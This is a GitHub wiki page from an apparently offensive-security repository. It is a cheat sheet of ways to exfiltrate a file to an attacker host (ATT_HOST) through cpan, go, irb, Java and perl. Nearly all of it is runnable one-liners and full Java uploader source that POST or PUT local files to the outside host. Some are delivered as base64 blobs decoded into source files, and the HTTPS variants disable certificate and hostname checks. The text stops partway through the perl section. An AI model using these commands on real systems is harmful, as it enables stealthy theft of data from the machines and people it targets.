UL_ _OSA_ _Scripting_Languages - lighthouseitsecurity/barabbas GitHub Wiki

File Upload ➔ OS Agnostic ➔ Scripting Languages

OVERVIEW:

NOTE: for the sake of brevity, documenting each process for Linux OS only

  • process for Windows OS has minor (self-explanatory) differences

(identify supported options - languages - file upload - terminal)

tools=("cpan" "go" "irb" "java" "javac" "perl" "php*" "python2*" "python3*" "ruby*"); echo '[*] languages - file upload - available options'; for tool in ${tools[@]}; do echo "   [*] $tool"; find /etc /bin /usr/bin /usr/lib /usr/sbin /usr/local/bin /usr/local/lib /usr/local/sbin /opt -type f -executable -name "$tool" 2>/dev/null; echo ''; done

cpan (HTTP; HTTPS)

https://linux.die.net/man/1/cpan

TESTED ON: Kali 2023.2

NOTE: uses HTTP POST

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
cpan;
! use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; my $ua=LWP::UserAgent->new(); my $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); my $res=$ua->request($req); print $res->content;
quit

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
cpan;
! use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; my $ua=LWP::UserAgent->new(); $ua->ssl_opts(verify_hostname=>0); $ua->ssl_opts(SSL_verify_mode=>0); my $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); my $res=$ua->request($req); print $res->content;
quit

go (HTTP; HTTPS)

https://pkg.go.dev/cmd/go

TESTED ON: Kali 2023.2

NOTES:

  • uses HTTP PUT
  • temporary directory can not be under /tmp (will result with an error; file transfer will fail)
    • use user-writable directory

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
export TMPDIR=$(pwd);
echo "package main; import(\"net/http\"; \"os\"; \"fmt\"; \"io/ioutil\"); func main() { ulf, _ := os.Open(\"$LFILE\"); defer ulf.Close(); s, _ := ulf.Stat(); req, _ := http.NewRequest(\"PUT\",\"$URL\",ulf); req.ContentLength = s.Size(); cl := &http.Client{}; res, _ :=cl.Do(req); c, _ := ioutil.ReadAll(res.Body); fmt.Println(string(c)); }" > ul.go;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(go run ul.go;); echo "[*] REMOTE MD5 (SERVER): $res";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
export TMPDIR=$(pwd);
echo "package main; import(\"net/http\"; \"os\"; \"fmt\"; \"io/ioutil\"; \"crypto/tls\"); func main() { ulf, _ := os.Open(\"$LFILE\"); defer ulf.Close(); s, _ := ulf.Stat(); http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}; req, _ := http.NewRequest(\"PUT\",\"$URL\",ulf); req.ContentLength = s.Size(); cl := &http.Client{}; res, _ :=cl.Do(req); c, _ := ioutil.ReadAll(res.Body); fmt.Println(string(c)); }" > ul.go;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(go run ul.go;); echo "[*] REMOTE MD5 (SERVER): $res";

irb (HTTP; HTTPS)

https://linux.die.net/man/1/irb

TESTED ON: Kali 2023.2

NOTE: uses HTTP PUT

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
irb;
require "uri"; require "net/http"; uri=URI(ENV["URL"]); http=Net::HTTP.new(uri.host,uri.port); req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=http.request(req); p res.body;
quit;

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
irb;
require "uri"; require "net/http"; uri=URI(ENV["URL"]); https=Net::HTTP.new(uri.host,uri.port); https.use_ssl=true; https.verify_mode=OpenSSL::SSL::VERIFY_NONE; req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=https.request(req); p res.body;
quit;

java + javac (HTTP; HTTPS)

https://docs.oracle.com/en/java/javase/17/docs/specs/man/java.html

https://docs.oracle.com/en/java/javase/17/docs/specs/man/javac.html

TESTED ON: Kali 2023.2

NOTES:

  • uses HTTP PUT
  • file downloaded to current directory

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] copy script source code

HttpPutFileUpload.java
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;

public class HttpPutFileUpload {
    public static void main(String[] args) {
        URLConnection urlconn = null;
        if(args.length != 2) {
            System.out.println("[*] Usage: java HttpPutFileUpload <LOCAL_FILE> <TARGET_FILE_URL>");
            System.exit(0);
        }
        String LFILE = args[0];
        String URL = args[1];
        try {
            File ulf = new File(LFILE);
            URL targetURL = new URL(URL);
            urlconn = targetURL.openConnection();
            urlconn.setDoOutput(true);
            urlconn.setDoInput(true);
            if (urlconn instanceof HttpURLConnection) {
                ((HttpURLConnection) urlconn).setRequestMethod("PUT");
                ((HttpURLConnection) urlconn).setRequestProperty("Content-type", "text/plain");
                ((HttpURLConnection) urlconn).connect();
            }
            BufferedOutputStream bos = new BufferedOutputStream(urlconn.getOutputStream());
            BufferedInputStream bis = new BufferedInputStream(new FileInputStream(ulf));
            int c;
            while ((c = bis.read()) != -1) {
                bos.write(c);
            }
            bis.close();
            bos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        try {
            InputStream instream;
            int rescode = ((HttpURLConnection) urlconn).getResponseCode();
            if ((rescode >= 200) && (rescode <= 202)) {
                instream = ((HttpURLConnection) urlconn).getInputStream();
                int c;
                String response = "";
                while ((c = instream.read()) > 0) {
                    response += (char) c;
                }
                System.out.println((response));
            } else {
                instream = ((HttpURLConnection) urlconn).getErrorStream();
            }
            ((HttpURLConnection) urlconn).disconnect();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
// EoF

(base64-decoding one-line script)

echo aW1wb3J0IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uQnVmZmVyZWRPdXRwdXRTdHJlYW07CmltcG9ydCBqYXZhLmlvLkZpbGU7CmltcG9ydCBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uSU9FeGNlcHRpb247CmltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtOwppbXBvcnQgamF2YS5uZXQuSHR0cFVSTENvbm5lY3Rpb247CmltcG9ydCBqYXZhLm5ldC5VUkw7CmltcG9ydCBqYXZhLm5ldC5VUkxDb25uZWN0aW9uOwoKcHVibGljIGNsYXNzIEh0dHBQdXRGaWxlVXBsb2FkIHsKICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBtYWluKFN0cmluZ1tdIGFyZ3MpIHsKICAgICAgICBVUkxDb25uZWN0aW9uIHVybGNvbm4gPSBudWxsOwogICAgICAgIGlmKGFyZ3MubGVuZ3RoICE9IDIpIHsKICAgICAgICAgICAgU3lzdGVtLm91dC5wcmludGxuKCJbKl0gVXNhZ2U6IGphdmEgSHR0cFB1dEZpbGVVcGxvYWQgPExPQ0FMX0ZJTEU+IDxUQVJHRVRfRklMRV9VUkw+Iik7CiAgICAgICAgICAgIFN5c3RlbS5leGl0KDApOwogICAgICAgIH0KICAgICAgICBTdHJpbmcgTEZJTEUgPSBhcmdzWzBdOwogICAgICAgIFN0cmluZyBVUkwgPSBhcmdzWzFdOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIEZpbGUgdWxmID0gbmV3IEZpbGUoTEZJTEUpOwogICAgICAgICAgICBVUkwgdGFyZ2V0VVJMID0gbmV3IFVSTChVUkwpOwogICAgICAgICAgICB1cmxjb25uID0gdGFyZ2V0VVJMLm9wZW5Db25uZWN0aW9uKCk7CiAgICAgICAgICAgIHVybGNvbm4uc2V0RG9PdXRwdXQodHJ1ZSk7CiAgICAgICAgICAgIHVybGNvbm4uc2V0RG9JbnB1dCh0cnVlKTsKICAgICAgICAgICAgaWYgKHVybGNvbm4gaW5zdGFuY2VvZiBIdHRwVVJMQ29ubmVjdGlvbikgewogICAgICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuc2V0UmVxdWVzdE1ldGhvZCgiUFVUIik7CiAgICAgICAgICAgICAgICAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5zZXRSZXF1ZXN0UHJvcGVydHkoIkNvbnRlbnQtdHlwZSIsICJ0ZXh0L3BsYWluIik7CiAgICAgICAgICAgICAgICAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5jb25uZWN0KCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQnVmZmVyZWRPdXRwdXRTdHJlYW0gYm9zID0gbmV3IEJ1ZmZlcmVkT3V0cHV0U3RyZWFtKHVybGNvbm4uZ2V0T3V0cHV0U3RyZWFtKCkpOwogICAgICAgICAgICBCdWZmZXJlZElucHV0U3RyZWFtIGJpcyA9IG5ldyBCdWZmZXJlZElucHV0U3RyZWFtKG5ldyBGaWxlSW5wdXRTdHJlYW0odWxmKSk7CiAgICAgICAgICAgIGludCBjOwogICAgICAgICAgICB3aGlsZSAoKGMgPSBiaXMucmVhZCgpKSAhPSAtMSkgewogICAgICAgICAgICAgICAgYm9zLndyaXRlKGMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJpcy5jbG9zZSgpOwogICAgICAgICAgICBib3MuY2xvc2UoKTsKICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgewogICAgICAgICAgICBlLnByaW50U3RhY2tUcmFjZSgpOwogICAgICAgIH0KICAgICAgICB0cnkgewogICAgICAgICAgICBJbnB1dFN0cmVhbSBpbnN0cmVhbTsKICAgICAgICAgICAgaW50IHJlc2NvZGUgPSAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5nZXRSZXNwb25zZUNvZGUoKTsKICAgICAgICAgICAgaWYgKChyZXNjb2RlID49IDIwMCkgJiYgKHJlc2NvZGUgPD0gMjAyKSkgewogICAgICAgICAgICAgICAgaW5zdHJlYW0gPSAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgICAgICAgICAgaW50IGM7CiAgICAgICAgICAgICAgICBTdHJpbmcgcmVzcG9uc2UgPSAiIjsKICAgICAgICAgICAgICAgIHdoaWxlICgoYyA9IGluc3RyZWFtLnJlYWQoKSkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgcmVzcG9uc2UgKz0gKGNoYXIpIGM7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBTeXN0ZW0ub3V0LnByaW50bG4oKHJlc3BvbnNlKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpbnN0cmVhbSA9ICgoSHR0cFVSTENvbm5lY3Rpb24pIHVybGNvbm4pLmdldEVycm9yU3RyZWFtKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuZGlzY29ubmVjdCgpOwogICAgICAgIH0gY2F0Y2ggKElPRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgZS5wcmludFN0YWNrVHJhY2UoKTsKICAgICAgICB9CiAgICB9Cn0KLy8gRW9GCg== | base64 -d > HttpPutFileUpload.java

3. [CLIENT] compile source code

javac HttpPutFileUpload.java

4. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

5. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(java HttpPutFileUpload $LFILE $URL;); echo "[*] REMOTE MD5 (SERVER): $res";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] copy script source code

HttpPutFileUploadSelfSignedX509.java
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;

public class HttpPutFileUploadSelfSignedX509 {
    private class DisableX509Verification {
        private static void execute() {
            TrustManager[] trustAllCerts = new TrustManager[] {
                new X509TrustManager() {
                    public X509Certificate[] getAcceptedIssuers() {
                        return null;
                    }
                    @Override
                    public void checkClientTrusted(X509Certificate[] arg0, String arg1)
                      throws CertificateException {}
                    @Override
                    public void checkServerTrusted(X509Certificate[] arg0, String arg1)
                      throws CertificateException {}
                }
            };
            SSLContext sc = null;
            try {
                sc = SSLContext.getInstance("SSL");
            } catch (NoSuchAlgorithmException e) {
                e.printStackTrace();
            }
            try {
                sc.init(null, trustAllCerts, new java.security.SecureRandom());
            } catch (KeyManagementException e) {
                e.printStackTrace();
            }
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
            HostnameVerifier validHosts = new HostnameVerifier() {
                @Override
                public boolean verify(String arg0, SSLSession arg1) {
                    return true;
                }
            };
            HttpsURLConnection.setDefaultHostnameVerifier(validHosts);
        }
    }
    public static void main(String[] args) {
        URLConnection urlconn = null;
        if(args.length != 2) {
            System.out.println("[*] Usage: java HttpPutFileUpload <LOCAL_FILE> <TARGET_FILE_URL>");
            System.exit(0);
        }
        String LFILE = args[0];
        String URL = args[1];
        try {
            File ulf = new File(LFILE);
            URL targetURL = new URL(URL);
            DisableX509Verification.execute();
            urlconn = targetURL.openConnection();
            urlconn.setDoOutput(true);
            urlconn.setDoInput(true);
            if (urlconn instanceof HttpURLConnection) {
                ((HttpURLConnection) urlconn).setRequestMethod("PUT");
                ((HttpURLConnection) urlconn).setRequestProperty("Content-type", "text/plain");
                ((HttpURLConnection) urlconn).connect();
            }
            BufferedOutputStream bos = new BufferedOutputStream(urlconn.getOutputStream());
            BufferedInputStream bis = new BufferedInputStream(new FileInputStream(ulf));
            int c;
            while ((c = bis.read()) != -1) {
                bos.write(c);
            }
            bis.close();
            bos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        try {
            InputStream instream;
            int rescode = ((HttpURLConnection) urlconn).getResponseCode();
            if ((rescode >= 200) && (rescode <= 202)) {
                instream = ((HttpURLConnection) urlconn).getInputStream();
                int c;
                String response = "";
                while ((c = instream.read()) > 0) {
                    response += (char) c;
                }
                System.out.println((response));
            } else {
                instream = ((HttpURLConnection) urlconn).getErrorStream();
            }
            ((HttpURLConnection) urlconn).disconnect();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
// EoF

(base64-decoding one-line script)

echo aW1wb3J0IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uQnVmZmVyZWRPdXRwdXRTdHJlYW07CmltcG9ydCBqYXZhLmlvLkZpbGU7CmltcG9ydCBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uSU9FeGNlcHRpb247CmltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtOwppbXBvcnQgamF2YS5uZXQuSHR0cFVSTENvbm5lY3Rpb247CmltcG9ydCBqYXZhLm5ldC5VUkw7CmltcG9ydCBqYXZhLm5ldC5VUkxDb25uZWN0aW9uOwppbXBvcnQgamF2YS5zZWN1cml0eS5LZXlNYW5hZ2VtZW50RXhjZXB0aW9uOwppbXBvcnQgamF2YS5zZWN1cml0eS5Ob1N1Y2hBbGdvcml0aG1FeGNlcHRpb247CmltcG9ydCBqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydGlmaWNhdGVFeGNlcHRpb247CmltcG9ydCBqYXZhLnNlY3VyaXR5LmNlcnQuWDUwOUNlcnRpZmljYXRlOwppbXBvcnQgamF2YXgubmV0LnNzbC5Ib3N0bmFtZVZlcmlmaWVyOwppbXBvcnQgamF2YXgubmV0LnNzbC5IdHRwc1VSTENvbm5lY3Rpb247CmltcG9ydCBqYXZheC5uZXQuc3NsLlNTTENvbnRleHQ7CmltcG9ydCBqYXZheC5uZXQuc3NsLlNTTFNlc3Npb247CmltcG9ydCBqYXZheC5uZXQuc3NsLlRydXN0TWFuYWdlcjsKaW1wb3J0IGphdmF4Lm5ldC5zc2wuWDUwOVRydXN0TWFuYWdlcjsKCnB1YmxpYyBjbGFzcyBIdHRwUHV0RmlsZVVwbG9hZFNlbGZTaWduZWRYNTA5IHsKICAgIHByaXZhdGUgY2xhc3MgRGlzYWJsZVg1MDlWZXJpZmljYXRpb24gewogICAgICAgIHByaXZhdGUgc3RhdGljIHZvaWQgZXhlY3V0ZSgpIHsKICAgICAgICAgICAgVHJ1c3RNYW5hZ2VyW10gdHJ1c3RBbGxDZXJ0cyA9IG5ldyBUcnVzdE1hbmFnZXJbXSB7CiAgICAgICAgICAgICAgICBuZXcgWDUwOVRydXN0TWFuYWdlcigpIHsKICAgICAgICAgICAgICAgICAgICBwdWJsaWMgWDUwOUNlcnRpZmljYXRlW10gZ2V0QWNjZXB0ZWRJc3N1ZXJzKCkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQE92ZXJyaWRlCiAgICAgICAgICAgICAgICAgICAgcHVibGljIHZvaWQgY2hlY2tDbGllbnRUcnVzdGVkKFg1MDlDZXJ0aWZpY2F0ZVtdIGFyZzAsIFN0cmluZyBhcmcxKQogICAgICAgICAgICAgICAgICAgICAgdGhyb3dzIENlcnRpZmljYXRlRXhjZXB0aW9uIHt9CiAgICAgICAgICAgICAgICAgICAgQE92ZXJyaWRlCiAgICAgICAgICAgICAgICAgICAgcHVibGljIHZvaWQgY2hlY2tTZXJ2ZXJUcnVzdGVkKFg1MDlDZXJ0aWZpY2F0ZVtdIGFyZzAsIFN0cmluZyBhcmcxKQogICAgICAgICAgICAgICAgICAgICAgdGhyb3dzIENlcnRpZmljYXRlRXhjZXB0aW9uIHt9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH07CiAgICAgICAgICAgIFNTTENvbnRleHQgc2MgPSBudWxsOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgc2MgPSBTU0xDb250ZXh0LmdldEluc3RhbmNlKCJTU0wiKTsKICAgICAgICAgICAgfSBjYXRjaCAoTm9TdWNoQWxnb3JpdGhtRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIHNjLmluaXQobnVsbCwgdHJ1c3RBbGxDZXJ0cywgbmV3IGphdmEuc2VjdXJpdHkuU2VjdXJlUmFuZG9tKCkpOwogICAgICAgICAgICB9IGNhdGNoIChLZXlNYW5hZ2VtZW50RXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgSHR0cHNVUkxDb25uZWN0aW9uLnNldERlZmF1bHRTU0xTb2NrZXRGYWN0b3J5KHNjLmdldFNvY2tldEZhY3RvcnkoKSk7CiAgICAgICAgICAgIEhvc3RuYW1lVmVyaWZpZXIgdmFsaWRIb3N0cyA9IG5ldyBIb3N0bmFtZVZlcmlmaWVyKCkgewogICAgICAgICAgICAgICAgQE92ZXJyaWRlCiAgICAgICAgICAgICAgICBwdWJsaWMgYm9vbGVhbiB2ZXJpZnkoU3RyaW5nIGFyZzAsIFNTTFNlc3Npb24gYXJnMSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9OwogICAgICAgICAgICBIdHRwc1VSTENvbm5lY3Rpb24uc2V0RGVmYXVsdEhvc3RuYW1lVmVyaWZpZXIodmFsaWRIb3N0cyk7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3RyaW5nW10gYXJncykgewogICAgICAgIFVSTENvbm5lY3Rpb24gdXJsY29ubiA9IG51bGw7CiAgICAgICAgaWYoYXJncy5sZW5ndGggIT0gMikgewogICAgICAgICAgICBTeXN0ZW0ub3V0LnByaW50bG4oIlsqXSBVc2FnZTogamF2YSBIdHRwUHV0RmlsZVVwbG9hZCA8TE9DQUxfRklMRT4gPFRBUkdFVF9GSUxFX1VSTD4iKTsKICAgICAgICAgICAgU3lzdGVtLmV4aXQoMCk7CiAgICAgICAgfQogICAgICAgIFN0cmluZyBMRklMRSA9IGFyZ3NbMF07CiAgICAgICAgU3RyaW5nIFVSTCA9IGFyZ3NbMV07CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgRmlsZSB1bGYgPSBuZXcgRmlsZShMRklMRSk7CiAgICAgICAgICAgIFVSTCB0YXJnZXRVUkwgPSBuZXcgVVJMKFVSTCk7CiAgICAgICAgICAgIERpc2FibGVYNTA5VmVyaWZpY2F0aW9uLmV4ZWN1dGUoKTsKICAgICAgICAgICAgdXJsY29ubiA9IHRhcmdldFVSTC5vcGVuQ29ubmVjdGlvbigpOwogICAgICAgICAgICB1cmxjb25uLnNldERvT3V0cHV0KHRydWUpOwogICAgICAgICAgICB1cmxjb25uLnNldERvSW5wdXQodHJ1ZSk7CiAgICAgICAgICAgIGlmICh1cmxjb25uIGluc3RhbmNlb2YgSHR0cFVSTENvbm5lY3Rpb24pIHsKICAgICAgICAgICAgICAgICgoSHR0cFVSTENvbm5lY3Rpb24pIHVybGNvbm4pLnNldFJlcXVlc3RNZXRob2QoIlBVVCIpOwogICAgICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuc2V0UmVxdWVzdFByb3BlcnR5KCJDb250ZW50LXR5cGUiLCAidGV4dC9wbGFpbiIpOwogICAgICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuY29ubmVjdCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEJ1ZmZlcmVkT3V0cHV0U3RyZWFtIGJvcyA9IG5ldyBCdWZmZXJlZE91dHB1dFN0cmVhbSh1cmxjb25uLmdldE91dHB1dFN0cmVhbSgpKTsKICAgICAgICAgICAgQnVmZmVyZWRJbnB1dFN0cmVhbSBiaXMgPSBuZXcgQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgRmlsZUlucHV0U3RyZWFtKHVsZikpOwogICAgICAgICAgICBpbnQgYzsKICAgICAgICAgICAgd2hpbGUgKChjID0gYmlzLnJlYWQoKSkgIT0gLTEpIHsKICAgICAgICAgICAgICAgIGJvcy53cml0ZShjKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBiaXMuY2xvc2UoKTsKICAgICAgICAgICAgYm9zLmNsb3NlKCk7CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgZS5wcmludFN0YWNrVHJhY2UoKTsKICAgICAgICB9CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgSW5wdXRTdHJlYW0gaW5zdHJlYW07CiAgICAgICAgICAgIGludCByZXNjb2RlID0gKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuZ2V0UmVzcG9uc2VDb2RlKCk7CiAgICAgICAgICAgIGlmICgocmVzY29kZSA+PSAyMDApICYmIChyZXNjb2RlIDw9IDIwMikpIHsKICAgICAgICAgICAgICAgIGluc3RyZWFtID0gKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAgICAgICAgIGludCBjOwogICAgICAgICAgICAgICAgU3RyaW5nIHJlc3BvbnNlID0gIiI7CiAgICAgICAgICAgICAgICB3aGlsZSAoKGMgPSBpbnN0cmVhbS5yZWFkKCkpID4gMCkgewogICAgICAgICAgICAgICAgICAgIHJlc3BvbnNlICs9IChjaGFyKSBjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgU3lzdGVtLm91dC5wcmludGxuKChyZXNwb25zZSkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaW5zdHJlYW0gPSAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5nZXRFcnJvclN0cmVhbSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICgoSHR0cFVSTENvbm5lY3Rpb24pIHVybGNvbm4pLmRpc2Nvbm5lY3QoKTsKICAgICAgICB9IGNhdGNoIChJT0V4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgICAgfQogICAgfQp9Ci8vIEVvRgo= | base64 -d > HttpPutFileUploadSelfSignedX509.java

3. [CLIENT] compile source code

javac HttpPutFileUploadSelfSignedX509.java

4. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

5. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(java HttpPutFileUploadSelfSignedX509 $LFILE $URL;); echo "[*] REMOTE MD5 (SERVER): $res";

perl (HTTP; HTTPS)

https://linux.die.net/man/1/perl

TESTED ON: Kali 2023.2

NOTE: uses HTTP POST

(HTTP/HTTPS)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(perl -e 'use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; $ua=LWP::UserAgent->new(); $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); $res=$ua->request($req); print $res->content;'); echo "[*] REMOTE MD5 (SERVER): $(echo $res | sed -n 's/^.*(MD5 \(\S*\)).*$/\1/p')";

NOTE: if using HTTPS, replace http with https

(HTTPS with self-signed X.509 certificate)

1. [CLIENT] open terminal session

(open terminal window)

2. [CLIENT] specify file transfer parameters

export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;

3. [CLIENT] upload file

export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
